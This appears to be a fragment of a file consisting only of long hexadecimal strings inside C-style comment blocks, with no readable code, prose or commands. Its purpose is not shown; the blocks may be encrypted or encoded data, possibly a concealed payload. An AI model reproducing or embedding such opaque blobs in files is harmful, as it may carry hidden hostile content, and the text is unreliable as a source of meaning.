4086236edea47c4757f072ce5ffc103fcedb0b23af53fbd1ef36969b1ebd93e29d091eaea30fb50219d2daa17f956bf25d6607cafccb1b86a31cac506efa0de24caeeb639ca4f064f6633d84f25e1ae0129b2e824dc826940a50df7aeb00be444ddcf53178a40f127bd5104574dace161c5fcdb2fcfc84604cca5b46ef419de2ec0213a6c71b75dfd99fdb593862bbea073cc43deb6f1ee5d3a74b443acfca82abc5f08b2fbb066633359810655cbc7d3bf86ccbfe33bc90c249b555241410be260bcd4f747129347729ec5227f1bf250a6616ed905131157c7fbccd09cd44438e685e00b35ef1363277548ec79713da609789f1ac1e0b0c885197f32547e4476cf1af9a94c593b193847f72471a91c47026e016faf43d48044dee20ec3c4e13ff3863c84d819aa5768f361c7f77ea12617ccef6c701965b4a097e1276fb34cc39e3d5cbb07e4c88fe50c805e233791a494899fc04c485ed5931cf3fda5309da8f9b7b7d48c04b8085c8ce95eaf212d9cfe5915c588a5e77b65d131f48f31fcd2e4addd6781b472bca1a2723750a9b9e3cdde848c71720e19843ea43cc64ba82eca92276650502e1c140cce8085e7b1d20df74b33dbfc3035a351a17ab0dca0ed858780eb8d860f99d8adeff89d989c2a3645f1167fa2ab47712ff9f2f36af15abc19f51e5765638f4f0f236ec9517c88bd7cf29d4b7fdb0848457d586efd5eb025a4797a6d7d470e762e40be186a28be4ea46621b400e661614e48f852ee61a646b654686dcc3ef8dd0d306ce689d88aa43ca48c4cfd2132d2bb42e67597ace3ac4a52f47d4a0bd459c9281cc02350f1b51910e6162efee07abae5e5ac3021331b4d008879cdf43a491d069c2b1897deb68a25ecd64f1ee27a96c536eec401deeed1f13c32971ddbd8db517e1e23456e26f0958eae01f76bed9b6128dde2d6c29c12f8805605e83589250dbd82f516df8e8e86fa4669bc1accde64bacdb255d225bad072e2692c7512a4c979b22b219513ea1dd496ab03f89fa333db46d4397c8670a0b8745710823559dd969cf7f4141fab13ca4f35ae2b0c72f0312643e52c82c28d89a7d8292a0d8aadea3a6a0c3b1390a461f1c4512a73475e22462381748dc31097166d5d2e243bc3f94012cc572acd26dbf56c8e0d1434739369bd4e306e072c501ed45f6a5da17ad3573a1d3956d50396cc5983d39958228ae0ee15c38122b8e69840fd65170fbaee37768caba88d294c2aa89036dc2657266b4e52470b1e0d24fc6d8c6e68ec28478248d8c1d99ad40920e2f9cb4af3afc5662b420dfd61641b541b3c9d7a0e4ab4043801e7389b8ff0637306514de9f2369d977930f7bdd88c6a04d07e96e8fc01ca6479febcca9cd3a80d99efad569805be57b1d6bc6b0a23699213a8c5867279b147a424ee604259703233ee9aeb34d0d45*/
/*4c19815191b2ac19273ec592feef0b634a2cd2789a79a9727338aea2b51ff8c47c3746bbf4a9fbd056bded4bbbdc9dae815d7c8c38697b43a40b91fc8f1436eca33f32f675a0aca27502fe3e16a0f5c6f2051f918985ef1939108c72bf76f963f82b53ab4cab63393ba32d99e027073262f283b27315569adb52184da9bb0a2c68a750a794dd969d8a9d20c732fde7d1bdb5047e36a5c04df4caf1e6359d85e72f6f7947cfaebc516f951492d9c13b5a1ce09117f865c8fab73ad16c93e0bce58b8b18fb9492bc72f5ab30bfa74a1c8f96f8e79255c189916167705955ed03982b69e1c50e6def4a0e605d72375eaefb51706128f58003fc2aae1436f96e26f0918bd21362e8dcdcd78a8e5d1144f211f4fa687d74bd3260ae399536bd7068f5fcdb80b8efbd4bfb087b1f3c503dd88586238786ec4be0fde3a92cd9d4fdc80818e00cf38ef797e0db5dfaae5ffb26b3009a3253527bc377b9bc48a5fb8c56cd7e1770a4974bc0183fdc651c4cc756084789455404b0acd1a5c94350c418f2979e085c1ac532400b94ccc20d98b05e1f6c22b702a032b24c9f46881cddb707f39525d3bd11086eab59e6a0801af04e10e3a4b46cef75bf8e0b93094fc968fd972c21d1b0bb584fd842d0b34ca5af10d32b9b17bd36566b4b1e112c5141bbae93a0b0d557a4faf73613bb6d463d12b142e991cefa0bcae974f713767e29d044b90e1ad0e7496ed2edb93760987020284f6cadc3987737e01b9dcf162b4c62b8d7651b7213ba8345248be7782c815338a5b3510c58e0adcd468a2d9878bcb3508f99e9b3b85fe40f19876c10302453532d7088b4b168c6ee0f2b8ec3bfd7517dac4a926131a1f54784071e283f8440a79fc3584d0dd57fdbec614b3cef48655e286da2dbef84c76e8e75ee39415f03167d8ced6398d939cb82679aba4361cdd83330657091df92a3615d06b6ba2773a4239a85f2f7a6eb12fef6ac1d298fe9d39f5bffe19c7173ebc7ad15b79817875688db41e1ea070f6a1a8ad1c0e02a8a933c57aca391ca417b2dd85c9996c3213c443dd5b846a4b7d3349ab524f07ba25324b68d9ece92d1f8104ca5f232a61d5b2169725b2fc793d11b43b1319edf149d336219ed3775abe5416464f4739e3a05b05b3f590013264e7c3eba9d338fd9e8a84c12e8e8a4b8aee6628a5e2ec059b2e8c2e4cf779ee8f049b36a6f5e42cc28b07bd6421b6e6279cb0745d9b5577e27da73cad4d7b991d17e81eb0d86d406315d5f6bf8319856b4de2a530cb88edef58a8a833fdf7638fe6db44d500d4ae0c948575937b801386ab808681d73274a0897a10d096e81ea6eb340da5c06bb568bda02cf29b61b8e2308b08f767a0d0a57d3f8e6d6142d2a03bb0281d6164615fc1209e43994cde5104a39c9e44cb56438a81333bec2d11930fb8ff991f503138a438c97adefd8bff3637d0e5fc095e57aaccf6e39a7d2b9f96de8ae717c0dd8653903bddcb356db9a32ed5a2e6a57c9f23cb9682831b02a375d73c0a2c6e6b885481266d10a26f5d2d596deb1fd126adf776241f93b757561869367cc428e815f1bf8134710e36c7e384b8f7fc46dc02ac70d6e82bf8dad1002f79289577aeba781ac19fd9421f566c05e5c56dae856f8b5deec85211f11b89ad9065fcb95f30248f165d2c9ed4637eaba507af518c23613b88089ea620678928ce0041e231df0186b72abee778bd28431367e37dd2a2c010d9d388004099adc4d054d64fabe393c0de2e42de9a504d6f9f2fed908fde8199569f507c26e1647fffc318ece5e416e4fc308f81c1bf0cccc898372f2a32d95c1e82f7dacd051887ad933e3ff0a9c2b3874871ec0166038ae3bafa3695383b39dff5b0d23efe4273ea9622a6f4c82bc2e3a4e26f79642234384c4b5fc41b79178985673b117ec509eab8ea09a3a397a9ff3d402a26d7a9f99778fe52d902eb7fbe4dd48ffeacbb8ce7eb3a1f162e5a9d41fd526cd3e8fccc3d0c0fcbd3f4f10015a50ca9599418acb01d4936891749d68abbe2c74576436df9a5f72ee02544d24391adeb5a83132dc98504b5e99ee6b72dd61750405f604d38593bd283d85945df7774e02b47a83385647998ebfd818e2ceac4bd15ffec3ed1e94811a9b8192c389c67f1a11bc91fbb6ee4ed7db86077125c659a7a0d3162a4e16881950a907bb371eb84ee1b7e386ff49a9f2aa90ec8aa1ef310ba35445301cb56adcbb0363e3576d242a306aa2348ce6a4078e473ef71b3e496c284cc0d867311c4d96904539a993bd3f5759c3cce95e170e52fbfee2dd39ad49f9e832ed9b531e17e777be66e44f0dd356bac086611cf75b35e43480f00a52c91a1a780a0c150c1c4b8049a0251f2b3e8dc48e1e1cfa852d341a3084ce16806d9afa5348addc7fa93de8dcd41f9fd912a145f30038656c8d90f41e2db0104bc27b5e8f880432403d983882d650df660b9c0209813d22539df5f881f79eba7d77f9bc61c8756d91f844916be5f081e23db55b5aee45d979d598b2746c11717f8c770a3064b29f52967abe250a61184bf9f5458d6e028422be8ab620a6ba854d12345f971811115f76de71fec7e240b80e1f44e06485653c5bad0ba6fc446873382e396c4d2d3b0a231d50342aff130e16114a9dc2d7a75a9422fbe98c1c4d8e06d175a0fea64d69d8b6e07cb2090ea44245d26627b83bc6e3fc63eb4be4364bed1e4f29fbcb6e4f820c73028bdf692f69b822d064024e2e0314e3b29ef88a55f22efb568535b3e3dcc645448447c2f5fe4c7e709c668bd7851dce2ac658aca9ec4c1d49af0a51a4954e67c3*/
/*40190ebfaa731c097d954c801e6418555fe8c1b54006fbea2c4e37357a277988b7d9cbba6ca1989576e3fee374fc7f81f3eacc22336f5260fbed7a6ffd03ddf6c97e70e8b08e6983dacd1e7964e5430ffff0f535ce7b71af9642c1a5a857b65833e8cf5bd0a217af5c695181394f0fe1e0860c9f26a70a88c2b5c35e40634975d71ed9aff1ebfa56f0407d2ddcf7ce7d92959cd3f7586f3cd8d0b76dba4f5aabeaf67b015b035a6e2a11f172559695aafca41c0dee869234c5d987f85c470f80ec44ac44d3b75222b4754bf6993e04f14c7eb531fc4053ab627f1104c111b967d95cf0911b333a520bf5a528f7254903f77b11e1e736d25e437d04144958a791bfd9e82320af4a1f2d725f565f9380085e1e9ddcba4016e68fdebf4ac28e3255dbc367f97eb05839d6852cb2a31a58d51284c4a29674adfe55c841ee5755e1800eb31d13a71444a520289941713e87978b2f795e8992603c598bdbc5cbbb5e1d328bae2b33470600a4fc0f3d8b274bfc2864e4733bf93bc5dfa85734cebe13c5870e693a360864942cf1c479083770c7a0b87f28c2ae91930610419d25f7ed33fe183c09328034a679426df4fd9ca5850c0ce597dda49497ea697d23aea76594eb0a1fd016f1eb090ae23b28c91811c6f1484be1e51e790e79b6a2781706ce5fb239e2a098f3e9c51c0e5894f75cf0a170f1bb6f5ed005910067833c52a8af2ebacad13d0fb04ac6dafa93c08d7c6f6c65322e1c28953421ebeaf0f7d2f66abe3ef0e596c99019fd25b8b55126f1b1d5d490aac5a40214b3c0bdcea65864b26c7fe08b5a357f5dd165ad6073a5ac0157ba35f17fd6117853aff920fadd7b483fb91a86b6460024419139a6c16f3dc5358d68266bdeb2aa227c0c08bc7e09dedd716b9c45428ac1f1906a3a1d3f03f263f8b0a48aa58985b779661d771903c8e56e0a4b3fe74b93869c65786cb2ef7c073a205556b4969cd39fe7176bcbeeb99965cc5b450754444b45ea033f21349d800d14d3a38f854a76695e1a813f020a4ffb423e63a5a6b5abc8d84e3bdfbf054536f460a6f6ce494179106d8695d033514a59fb479a5eb5e5c26923426ae0e192eab8f21725efde1bf4595a4c8033f66cd99840b0258619c735970f250a2d959a68c1daaf06dc01f954b84fd0c382b8e6e90b72bc5362812fb3cca5145fd0a99ea5af427502bf4901e6c5f037ab1bad1590ebb925f1b4ad37d791be3e4930ad0e508e0fe649b97354695699ea53c30391bd0754dddc8ac9d988f38bb6dbddc1c38139c5d2f1547cc8d8064483c5bcb690dffe9be89fb9d46b373b1eca3205aa9a66a41710f04027bc0e35adb6b5551f63c2aff38a3ad519ef55a5090192adfe37c5ab1abc454609ef49b2560bd3b2e40962c0cbfa0ffcc0a5fa3a533497a35f35db7b294f0c8849b99d7de4ea7c88fab96a524dc77f9336d32a0acdcfb6dbd1992c851dd0d6e8ca629e6b8fea78d62939cdfc51881be9491146df18389a01b6b92a6a8bfc5d91ea4b2e65974c71512213e806522f3ff5d2f23f0591b47987d667fbe12ade94771637f976a8ceeeba3e2b9d24fd5f324c0c75e9d5df5e8c2dfcf5c796855110f75f68e91232186bf88137fc2b8a614a2635124f81b7900b8206ed7bfe2833bd117dcde6df98f8328b461c0d8b9210e9058251c6a9e63913c744119832f88a3448628024d6eb3bc44c286dce0338155959d07cba1696c1edbdc4eda1ca86515859ba5f3637de42acb7f378065679780ff79579acc07da68dbb8966c2900827df201b1e9230228c3ead99f7dfdbb83f789716a6fdd590165216d6365ae8a364906b2c92af0364b4b902baaf262f44a9528a5fe776b29ffc06aff7e9e6bfd416b2364c31e211dfe83d2ee7b01a7e6ba96672a326ed21789dafdeaa7c231c1f87be1d128f6f3d1aea21048c578bd0519e62c314ca2b1c5fefed825912145bbd5e0f0f6e68b635dd740c09e325fbc2d6c573a333da698980a5e22bfbe078d6a7cf48ede59d1a4401313102078078e382fef9db50dfa6241de2254c8e06108ea7f43106b65c47c7143530b9ec53ce32551ad0eb781cb8bf79a5d6380e4bc71cfdc4a3e87f08bb21c344ed77272ee75423e93065a4913910bfaf1e3374783a2fd06ea452e16b5ce459a324bf45d8441d58fc1621e62151cde5f41878809a46050193aa1f6b4ecb27c3693cf06b5d856b54cff4941dd39fef2cd0b8026d970d219f207b6b96ff1a8caf9a041011953e732141fe98e046d2b59904c796d4921a9b7595b289015e1ce54823adb75faeff8ae0e0e1eb00d56ae521c40f0123dab7d7bfe84f13d1dfd8139b6c8ae2a2587a05d9b66936bed612d8d2279ebbac463d0d42206d98abc74031fcce8c185e1ae08a4ac0d6f6bef29a8ae98ade54e1b6689fb8cea9217edf810231d2e3c895a52d00248b6dd2ac6a17b776d99c06814cce5389b189281cf75b3e0dc6c9e574aa891b104275c60312204acc0ed73c3f622a815ddec9739e83471e340fa0eb37e358294c670bcb5436776d0784f1abff3c3b60cb459c6ed3f0bf0c99e00290c5540ddfe8222a2c1110033f3d085d1299a5652c309ce1aa242a48b223ae006f26e8c853d6f3da471a21606f0f6b825d95cf3d5d6146e946ec2c28571c075345cd63914edcfca3eaa91e061e8f4f86d548d25b19b5fd595f155622503180fa78c9f6485ba1a3beaaf09daf0957da918e26dd1e188ab5566f6d89b8bc8752cff62ac659ec0e7850a683244d20bfb64e26af09237a981b3f097237bac9e661a943d36f2c743eb0e68d32ed635b33e96dbfb363*/
/*ec705853cb78b7b177b4cbd1381f2c246f54cfa67b32b92767b905242967c675f984c9ab86c878a96d35d01015edad68cb4af28f8059ee4c772ba5145d687ce83bd4576faad0f6710149a318a59221a20af3e977dec5d2475a819e8071f4877f2ac3a61fb30ea34d91cecb60720da28e1bc80fb35e99bc20847c4197cd9b37e32218e72a4c1295c8413abb7f92a473135e0e7d6ca0a9f4adf9fc44b415f00eddb50304bf634555ff758d2cc7e286d7b240792b0109e982e03d86d3598f1aeec1a108fb74711bd716b8c536e7c228ce0effae94d9b8e6471678eff21b63d8559ee585ab636fc72f8470642dee16dd9f8e590773cc79bcee24d0c3c96f86d4923113e9b10ed8916296af3b89e8743df303f02a6691965df208341d64a010d41f1337c4b71deb209ca9fa570c0f36fe27de9ed1a6e5eb221249f3f6f116c72305c1491e50d7e59d257b488c3eb7b279b441c55429411f9d2ef0cab0faf615082c939991765985f68c1e510d2436523337fcd688d032e8684d4b9caadc203bd565f6c3baaa24d92be41b033e9cdeea3c24d03b2ea027ad89a889bc67544cc46cfc999a1e949be40ed5b2b92f55cba54eedb371027a9dfee1d5ccef776e195e992a03fcde53b58bb05ea936c68c90afd426e2e86473c646ca41b2a3134ec1be7c4b54ac98be027dcb00aa7b52afd7fe9e7f988a170c88fe386c621679544c020ee57c2284617b48305214d224904cff983d00b8f626fd7934cee3cea4b0c482068c678ae68868ca5c142d63a582125cdc3ed7c61c09e3f16e0b0a5f76009f2f3a03d73cf0e3297c9e61f0a916e4f0070e529953417f56a3f18c07bd99caa2296e46fe5b7a830528bc1173a338219f5fbb54cfac5a3dbe9ec66a016a32949067e3a8933b5aef6f93de2f783329ff7d62ff61e36248bf4ba7e8bdbd5c65c73b904c621aa5fc076c7d3bea6237babcf5efa62eed646af1beef6e8755312a69a1c2f6394fb8de7470b6caa733d5f0cf5ee58fd61ff75ce1950648fc9b74e240616c575113dd25df6fe9ba03219af7d859d7dd90d9f5b6ef671a68efbdff5937c26c5f3d555efd22fc37260eed5ed65d4a83f6ae44ab7eeac2b2f20d1f081597fc143923b5cff32b1d7217f7d807be4142da8f94b5ac8882f19c8cff7377ff9d010aff890cf2bdeb20d6ba04926f815ac7317573206a80329d5bfaf8074e0386e705ca8495f97ff7c4c277f0e3ac0be8718a4f1230ac841b141210c61df6bb3accf00860393a42fd912a4cf1b747efde6eb7fd50d92ba2e40f053fb6f367f8d84b766526cbcd4bd0d74ae58da2eafe506627104d95d2fc9786c75e2077f85b59fcaf0edc0efd129d82ee7750e0a670febf884bc7f4c18abe903036c19200433082247b2742dde0645bf371e82ae54ed3cc52f305b04ce4c6a215f3ebe0b6a38ddac874d94f7786fd836a89233bfc22e5e5600dd2b55bf8dbe3e0a86b9f893f136df08e536c97de0e687439e65d9d0f4cf53eaf22def8f0f41543c0d544f9daa19cf538923216671e725bd23270a23031acd60a982ed8d64ca60aa318b1ee2be3ec37790a08b315eb5c8f5f92e99c6a6df0d6cc3cfb654d9d71258d677c8050b65ae37961379830fc236defe57c5a386e6af5d54b4d90ed05d1c9daf4db8012ddb57f637382e2fe4dbef2041153e45ef4ee998e38c4bec1010134d44727a9f59128a2dd896b2064d858db3945f6515dfc9bc9489b629403a4fcd1c39ceff4b3312da8c480f785495afa915875eb5a26d1f34d643ebddd42f1b87035ff66a58552a950aa597e56a6a658031e607b7bb775c53c18347efd8ca765a220c6f1432d5dd363af9bd1c98fc6a38d07bbfc842beed8883185c58fc8efe52008f61cf4393985fd93e7fb16917278eb8e4bc0f9df3f2aecdae03b6f9d9f58f5ae70c8f0f3ca2f19be27f59057ab1ac1d871af2a441adcf8e654083672eade47c317d617c9946fe4cb0147ccbfd9975faecce8fee1f29de04cf0fde4839e80a6dd431c7fa8b782e73f200e115dd062cb4fb581caef233b6a663660cf2734454ba309bb162d46aee32baabb8b9f8d0ffc6252e1c2e78f1468525ac1762c7f888bb1becc54ebe37386daf627e9edbcc121ae277dfa58be105a0053795250c1f8314941d8944eb7f221cd315b04b842e8de14db713d3820b6068bcac567aa7964a7cae70839256dc3cb84954a40768e87615320684d5faddbfe8c49ccbf0a731630f14ad5a6872f5dd09c488ef4e3a8d702d8504b0dc1df254b2a3b89db54aa4a12b5d87459ee86d8f094c26f3727a2843f60dc37c4ee1d98010fd881c53fc9beeea4483e3eeb440f5a582c2aa6621197e2c899ba1a0d96961cbfb97f5a022900b1dc7ef75262d995f47b719283cb2087f691d916395d60ce99c1b9ef9254fd1eb40d0b89bc567feb9da028935c4f144573817c6c46117e8559cbf4cd10eb28ffe25e3020aae529f8104aaf166d75915cf50b18aa73f987973f19ef147d50ea9f6083f232dcff5fe9a4e760f53cc69b4fac51916179b0da52273db3c7dd27949178b99dde31aa27b89b27b92f9a46ac64299577434a73e5ffc9f9fb6f6822138d9951975b455beb2b56d76a55ebd74e4c83939d7f6a936e3b3678ed67aede426ca1979ef84fec8e87630eb941865497f7f4dcd72f069d54c54ebf8e289aa026c7528b05995b572d3c05079118b06fed46131d489db2bcf530fe3c528c1106544bd8f5bf318934db0e2c68ee1a144541c7361f5b780512e3efab58abaf229d37bd689754e6e9049fea9297aa36daa7343cf32226162143fd1bed6330da*/
/*feb9b47332f6cd8804ab8286434766ce4a1e9cd04b17e50a388a11b23892b14d2328bffa961228b0a2d8b095d612e86b2bf3f5a4bc0aa1833346f090f5165d763709de62e7f35cdf02c93875b010c2d4e9f7e49c6098c256f8be397891a92ac170e911c7760440ccdd68d4ceb374c96e73d653414059e0ae232e60de37582330a8b866946b5b334c3df5707dadda519ae5b4e4f266ed29cb72438094b3d2d4507ab0b493c875ee7a9d3dd2bd8355269ffca2f8e452fc51763835ff2f40ca2e8976d02499bcf22c9381ebdd83b89fb0040b7ac9a6644e92714bd06ad32dfdb2c1536996963bfd2cdae84daa11445209195f324047f919414334df3f220d88a39d40a4200853d519c468be041f0de2c0df72aee82eec3fadd8fb6ba5c49f4f4ec643b3b1be5da3bc696aa15942f61fb6a4d31784e9510fdf7162b6a8225efb3dfe2b9fa1f41f36551db086c591878f4318a04741eedac1fed04e537d2cfb0f82341af212723c25c2769bbb64bbdca84c2327730c8792217eeeb6147aa2e4ea9de6fafc2b85b8b1f932c40dc765ac9bdf3f300fa18cd08c8650caedb53c1872be33380beb2fbe40e0f9ebf7f8dc1a7a484c91ddd0aa1ba469f35b644b3b6bd50a906d7d7e35ecf15cc65cebf3969157362c8f1c13a2cab08f4984229ac3f9cfffd5b72ec94926ac43ec2c430fda3d536ff6782c859f37b8c1938d6515a8a15807a5213815a50da3bc874f579c0e31b30bf0647218b3ef9be13ddf8d56b8ede1a57e9fa980db9751f16dc07cdcf7298797755ddaf126bd929187c8189ecf33d7dd6f41cc285521d30c0401286ad7d048acedc471bf0ceb7f34cab267c266f29c627856a74e7c7f8f76118369efb1566924b2d6bce274e3d3206463651b669423f13779cf566800993f441eb22d5c293cd0b76b0836370e03b4b78d5c7e1a34a58fcf96eb43fb8e8d94580b08ae9ee429fb22ed63dd4c4d0c2ae25f8bfb0e1294bd5a77aa44517ff759a2f8c6f5a975712108a782f54510a6bf690f440ca1008605d59d88cbdb3533bb9f48f3ca696a319b9a6e10d742d16b511ec5fa5225881d2eea95a98971de7255dc2c5342c630cb669ea635dc67a3d9230a47d6079a77111bce14d4d0e3e5a90bb5b126b34c19af781c6643f2edce8b8485450fe8575321cb90482106c08d361dde7f7adfbd9f0001ea91974f3f18ebea2cebcfa4b7dc31a23785604c043dd5fe32a5deae51656e6c52f652621ab1b17289ce504f704e702a8e5cba0d9b675698dffd1ae170ee33a9f7be29ccdf0b6dab49cea465e2547f24092b41600e858e9e266094645574dbb572a73dcc2056578f3b7f784eae6fcb065e6c6c7d32069d45e9924595b083ed3ea1d5559b15a036c78eb11148dc12f26d7eb2afda638ea0ad0b9e41ababefbfeb6f3c30c70fde75a6aa4b8a53f6d3591d5fbf2f15faca3dde856a79ba55913dea1ae9ce9af26a81d9f5a080adb876f86d9b7776f7eb7527c6204ddf19fd578e8a4526b7c270fd45b80a4dbc8477b35bbf6ed226d95888ebe999d0c14fae9329f4d05ca85e86efb0c290860be7f4dcec2d415a9dc607ac313731d960035eeb688670c8546519347349a9c787e05d64abd030dc8a79654b07d9fb3abf3efb5b40d30ad334870d5633ee506c43d67b1e807ba7c93bef293926d64fa4582f1e4dbcedb9a2469708db111aaf81cc8a756c683adf5463c1878414623645718593f4398333067ac43ee36d8162b705226add2176d56be325cb598e48aa87c686803abff0563db924b46131417b9aea0efc48ac49b46aa38d722a1dfb29ad196f410033ab5221b297a74d7ba57b7ebfd8dd133ead471edd81a4de3a603238e3974a6eb6b282b67c8a55168cea6eea25f0dc3d1b5fe23487f55f013a0c0d2442e337fe589f88bdb65068330809516b196b295300e0ee1747271599d310a7f22e792622745e0a01059309ed751145da8e42c7bbd05bd8ec0097c5431712a15b0a173b070cc0f0856c7212c17b4685c291caa0963b7ff566eb2603cd101abea422a5055be748a05d43aaccc0010ca11b8afb2a09ea0d181dc9eb921cdf7c02ae5d2475c17add7ca8cd20d56057ed878b2708e3bc68d818f77d15bbade2d0c8d16cff0a4e36beb4b4f1aeccd17f875a31e45e2d99e1f84f44613470dabaf805ba717d1f8d681fb981bfd839e7c9fee6ef231e5ea591e7626ea0ade9becd1372c3b74b1b7c796e452aac0e81ebe2f47f044077e557056d90ea81f75a60f34298392adb24be05ad6ad0aa03348b30b1d44fa6ca08f711487a3b2481f79f248c54f5c1deeed219ceb30ffabb7d64e784f8a09c9a024a3e23429373ed5d7721ab1efb506fb24839459793248ea74a840743f3093ba3c0a85bdf72f6bc2f1586adab43a5ea1942e6fd3202b18786d2b08ed74c5f4d86a422b398c0b2daa2a604a97cae2e2e21b99d193068c19cc1e77985c9bd885f6f7d36d5fc073fa4953687c46b8e534ce29cfc7f1032ec5a207cff96222ab12ad0b2bfe06c91db72f7d48b04464ba762d34aa42795efff244e7690f3e858c1bdd5856963aa1a95172944b85ed7c0b1725585ee06a0a549c571c4e54066d2701bf1d6127b54534e56dbb397005c11e3292e14ab0b9bfac98987c42167b98bccdc0e502eff2ea9fcb4b0d634ed578e30e46576de66b804bb99e4bac83a2403cf4c90a0c97a8ffe8fa6a6fd34253b54c7a44bfea01b2a6762e4bf1e42916bc676faa258444a884656901703c886b142c13664a05dce2e60cf5ef26a5c032028c6085e907748b1d3ac49fcead58db29bdbd98828de8336*/
/*62145b05362d55e74d69dad59c966f4ba2fed7f75ac3c32255130cf5f867bcfc89450db6816991c2c187ad4c6b49cdd83f577e57b8da83b40aa1f39bfe99308d2c9dd77f9973b9f34a5ceb5d8a0c5061ab00da51ad86dcbf842abfc5654e123dae96169a08e9807365e609a3738412494e6f1281e16d87e5a3eb78428cb121b5aacc04f15b6877e64490a0387e987634676c96603d0a4da5f2c61a91dec2397e09aa3022383887d9c9ed3f545d475721ebe0da6b7dd6ffe74b2a43cf5237d3b2bbbba11f8c2248875e77171a9cc98626c42d2c53d5f5f20b43371aefb441f305350c501c30aea8a49a016d35024e0aa297032e707804c24238a7473b3380347e626f292031627c2b7087bc4f0d066e56115167eeea66841eafb8c6b6c97786afa21927c164bfbb6efbcd66334c55390bf9aed1f955d2285ed6c72aac23a44efedf42f042db58541af16c96d367cc7789f5bdf936d4b7c3801c768c5ce4dee43dcc9d5f9531d7c64061053454605616795bf01c2b50674446f4351e32c7d009bd11d6a4c814a9f590e74e186d36b46a9607548d1fccb42aec95c946b25d5ed93de745472421931a96879e33837b38894d4933057c435bc6d6dd06b160d7a7e1866a1cbbc27ae0e38bb814b29ca5bca32545c76035abfd6d1462a6e8df18a6cfc0753581648771e4dd33e797b263cf9034b4a63acb1d0c47b7287cc32c43c465778b2aa5610d70a1f401a52d2b9c4b241423950604c872699fae1f39b2e82ed6d6caf859775f2eff0ab31523ad19d69cf427cf569d92e199d200f1fecf942c0d9d2e68582d2d98af69e022c1e374b36d93108b9b1d37b4a5f462c1bd1a5c104d944f2332b09cfc379c705e1380d45738234709d33123e73c9377f731c0a7c11ac2d6f1f7450bccda39350d02a965ca4f7b979d484f9121f035e81c4b45829fadd3c1a0796194b0cfb2694302283f2e85508cf40d64e668e71feb5f847bed8cd2283847df974ea716c70005ed03d43772bcafc8d3cd522ca2b53012702b5260a883edab070a589198987076276a8d25d21195b06a9503ddd6588d2266ab1b9cd8df41691d2d64f3c764c50d008ed4296e08037fb1658ca1c7775b3e243c724aadd0a02795873e662709feb6a929acce08b6b500c55ae1317079a0e057cad558c6651eb60d58736a44a969b3f3ea73bd3f719db3b31560dcbdfd81201aaa15c250aa69153aa48a05e45c2d7eeda3a6324f8d77c959ece535f1b3f592f86430f8d084da47813111a79486d8b116b66d47200c712e01b482ea88eba8c8d26c53d008cb3abea11a906eeb857858d4858305b6828080f87547630e6681b83b058fc338c89f4ee5b0e1ec9099a4d51cfb386adc181a0ab4be6f773d1a4f807be4ea0ffae70efd08d7b65436769cd1b3b0b3e99cb77cbc59d17b25062697a5e335db2cddb0e258d732666b5b551799cace91995cd8c38994abdebd160f77de0ad11bb2ca39def46973ab22c4fa37bdbec206ecf6c0dfd30bb3c549079ba2ab5eb296696ddc3aec056448163e21eab6304647d4f811c7782927e6f0e2f68fbdbfd84633b974c69f6b095cc6e5f37078280d806f2abcc52583c807e40d361c7e509d6b758d323d1f522be5f4967efbca01282a959d48fd9c47ea5b2dab5f6f7e984a8feee21f6618ef340ad6f38c4c7ccc582a508d52ded73932edede308326520089067eb7129c3885897a55df5dff5af2ed00b9753fe4b6a6734801a2702ca2f0eb7f34ef9d414660ef8656cc50a70e5765e81ea9e3c5d6310ceeef6f3e3d84c26018becdd018581bc4015e2638ce8edc4add7c044c7fc0ba3b0109e1a30b5d06872d81d0fd5e0badc6abfcd8345a113bcebb02dacaf04a29c959711f9a944737d428e3e747dbbf4c797dca3c3ed615a78bb01b7b820cd34e165f18a75cbae1f1604b8149d138e1d18edc151748baf8f67c8a4d8c2c87b482ba152ae2fb6ddf536c04c25324a4e9e1f27781b3d55479b563824e7dd12d614a67d18feaba965fcc79bb5e564567360a9acc5251fa394ec63bd912f77d142686fca6880ccf5070d68f1a2266b959cb93124180f34ffae470faa94d9664c4ebf472b5cef760cc08752c107e7546672d5a6bd3a3cba44e1cab4a52c1fd725928e7e3e305e1ecdfb586e9cd26e9cf3cdfeef4a8fe1d41507d4a9a4a89749ad216fdef18bf212ac7ec28044b594e0b0f5a6d32b611472d319e13e5f4f236776d66a32bcc5d60e95e5e8f6e117b15ae7f8f2c6986b9d619823fb2c81fb38a60ea2ab0f7f810fa37099f4ac35d46f8a12d73f0705ef7b15304d18c0c2a88d371c6cc2e76f0bf37c3281eaec01c383019fad363385786e02a710bcce0c1659679906c28130efa1051a24029ebe4c978a52753d9df6fa9e8ab56ce0dc7e8ccea6638e78eefb136fb975251693290ebbe70d9aca6cb3f7c8625059acddb7c4967d73158f6c7b6cbbb3333cc5a3dd93e19be0e7ddc512a1f2452cd60c0b4381b37148191ef05d8caf7c16630c5f45306c816fe1eab0daa1ee7ad65f243dd21b9c50c37111f11e4c47bdb01a4877b9e0169ae45f75320dd9c8183c9c74853662485a23eb16baf7dd9b3e470a2ba7526a9fbfd684b92804d388a20feac17a581484efafd243f222344169999d69b344090ed964297f7ae531a5adbf3864e76f256858b70f0aa4e6509f3d2f6c3b57c39a0c9f4e3f854b5cb40b170972e71d8b7a6995e2193a1d8a0f157ab3c12a8c2ab518b298b30a19f3672cab16ca543a0017d691f3babc07fa006af1fa14c3782b3ae22f3982dadbd391b5eb544e7e92086af9bd*/
/*93b38c86439ab1c6a3101644e9e33e1a9ce2d5d7ff69f41f69fe7a25c914c925a029e56514926ab858f74de956a85338de92bb8ce3cff6446a359f0a64502cecf321e54855cc1b8060094cd83939691f16e58f69c2bf4dda5ef140e5c8b6d948bcb6adcf829320b894905be2e45e716c08275b4a166c45a064d2f625ae75da35269c2975a485cd8c6cc3fcd68fd6f255bfca4ebff645884d515f87a6a26f853fcc1a915baac37ac044ce1f432d264e2e251083d85af4396ef15bdb6746d0e6d2badf9a09759c82ff8c6719e31898f4e331b8fb84d8d8f346718af25f936ca32b756d53def216040f86c58616f0aa5eb89ec16090264981de9ee9780fcaefe71417a271984c20974f6428c740afc118c136324072c3b52d1198ffc1f6ec49b4c74267425ef884b0c27fb3b6cd094f6c800b380d84437541ea6095a77f636dbe5c366a941a59060b6c32883c7a082a4e12dba61d30fd1ced99a894998e290685b35a433a2d4c3f99ab3d44003a04f77215ac2d8b88b2cd7e788b75e6f82cc0e79d8baa1a6748bb4ecc09729b5206b4021c4d0e12d51c986cab0abd2b75824a2489590564d7a47a6348a81555e847f2bab75436da9e476227552ab8538310f5eda4713f87d810c163e28afd36f00401745b5e83580711726ccc6af3f72941030a365bbb01b16b43ddf430befda0